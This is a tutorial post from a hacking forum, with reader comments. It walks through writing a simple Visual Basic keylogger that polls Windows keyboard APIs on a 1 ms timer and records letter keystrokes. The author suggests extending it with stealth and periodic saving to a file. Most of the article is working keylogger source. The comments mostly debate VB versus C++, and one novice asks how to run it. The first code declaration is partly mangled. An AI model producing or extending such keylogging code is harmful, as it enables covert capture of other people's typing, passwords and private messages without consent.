Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

Visual Basic Keylogger


Visual Basic Keylogger

By ghostghost | 18728 Reads |
0     0

I can not be held responsible for the information in this article. What you choose to do with it is your responsibility.

OK, let's begin making a simple but still very functional keylogger. In order to be able to get the data from the keyboard all the time you need to use Windows API functions. Here we need GetAsyncKeyState to check if a certain key is pressed and GetState to check if caps lock is enabled.

Private Declare Function GetKeyState lib "user32" (ByVal nVirtKey As Long) As Integer```

Just put these in the beginning of the code (where you declare global variables) to have access to them.

Now all we got to do is use them to register if a key is pressed.
I do it using a timer with interval set to 1 ms so that it doesn't miss anything.

```markupPrivate Sub Timer1_Timer()
  Dim i As Integer
  Dim KeyPressed As String
  Const Pressed = -32767
  
  For i = 65 To 90
    If GetAsyncKeyState(i) = Pressed Then
      If GetCapsLock() = True Then
        If GetShift() = True Then KeyPressed = LCase(Chr(i)) Else KeyPressed = UCase(Chr(i))
      Else
        If GetShift() = True Then KeyPressed = UCase(Chr(i)) Else KeyPressed = LCase(Chr(i))
      End If
      Goto KeyFound
    End If
  Next i

  Exit Sub
KeyFound:
  List1.AddItem KeyPressed
End Sub```

i is just an integer used for the loop.
KeyPressed is a string that will contain the pressed key's value.
Pressed is the value returned by GetAsyncKeyState if the key is pressed.

It checks if that certain key is pressed. If it is, it calls functions to check Caps Lock and Shift-key state.
Then it gives KeyPressed either the upper or lower case of that value.
Notice that the API functions use KeyCode, NOT KeyAscii. A-Z are the same but not all characters have the same KeyCode and KeyAscii.
Then it goes to KeyFound where it is added to a list-box.

The two functions that are called in the code above:

```markupPrivate Function GetCapsLock() As Boolean
  GetCapsLock = CBool(GetKeyState(20))
End Function

Private Function GetShift() As Boolean
  GetShift = CBool(GetAsyncKeyState(16))
End Function```

In the first function it checks if Caps Lock is enabled and returns that value (20 is the KeyCode of Caps Lock).
The second function check checks if Shift is pressed and returns that value (16 is the KeyCode of Shift).

Now we have a keylogger that will register all alphabetical keys pressed.

To make it more complete you could also check numbers, special characters, add stealth, etc. but for this article A-Z is enough.
Also you might want to add a function that saves the data to a file with certain intervals.

Comments
Uber0n's avatar
Uber0n 18 years ago

The Flash: You're totally correct. Different languages are good for different things. At the same time T-Metal is also correct, because VB is best for coding what he likes to call 'shitty little useless GUI's'. Visual Basic may be better for coding simple, graphical programs that don't have to be very strong or special. C++ can do this as well, but with a bit more work. The main reason to learn C++ is that it's a incredible strong language which can handle almost anything. What would it look like if we only had one programming language or if all languages were almost exactly the same? :right:

ghost's avatar
ghost 18 years ago

euhm.. isn't microsoft word programmed in VB?

ghost's avatar
ghost 18 years ago

Don't know about that, but I think at least Notepad is.

ghost's avatar
ghost 18 years ago

Hahahaha trudat rob!

Uber0n's avatar
Uber0n 18 years ago

I've written an application very similiar to notepad in C++… ^^

ghost's avatar
ghost 17 years ago

I have visual basic 2005 Express ed. And if im brutally honest I have NO idea where to start!

I understand what the code does and everything (as its explained very well) but how can I actually get it all to work?

Can I just create a .vbs file on notepad??

So copy and pasting Private Declare Function GetAsyncKeyState lib "user32" (ByVal vKey As Long) As Integer Private Declare Function GetKeyState lib "user32" (ByVal nVirtKey As Long) As Integer

Private Sub Timer1_Timer() Dim i As Integer Dim KeyPressed As String Const Pressed = -32767

For i = 65 To 90 If GetAsyncKeyState(i) = Pressed Then If GetCapsLock() = True Then If GetShift() = True Then KeyPressed = LCase(Chr(i)) Else KeyPressed = UCase(Chr(i)) Else If GetShift() = True Then KeyPressed = UCase(Chr(i)) Else KeyPressed = LCase(Chr(i)) End If Goto KeyFound End If Next i

Exit Sub KeyFound: List1.AddItem KeyPressed End Sub

Private Function GetCapsLock() As Boolean GetCapsLock = CBool(GetKeyState(20)) End Function

Private Function GetShift() As Boolean GetShift = CBool(GetAsyncKeyState(16)) End Function

will work?

Email me?

esm@hotmail.co.uk

thank you. Ed

ghost's avatar
ghost 17 years ago

never mind. C4p_Sl0ck helped me out and its fantastic :)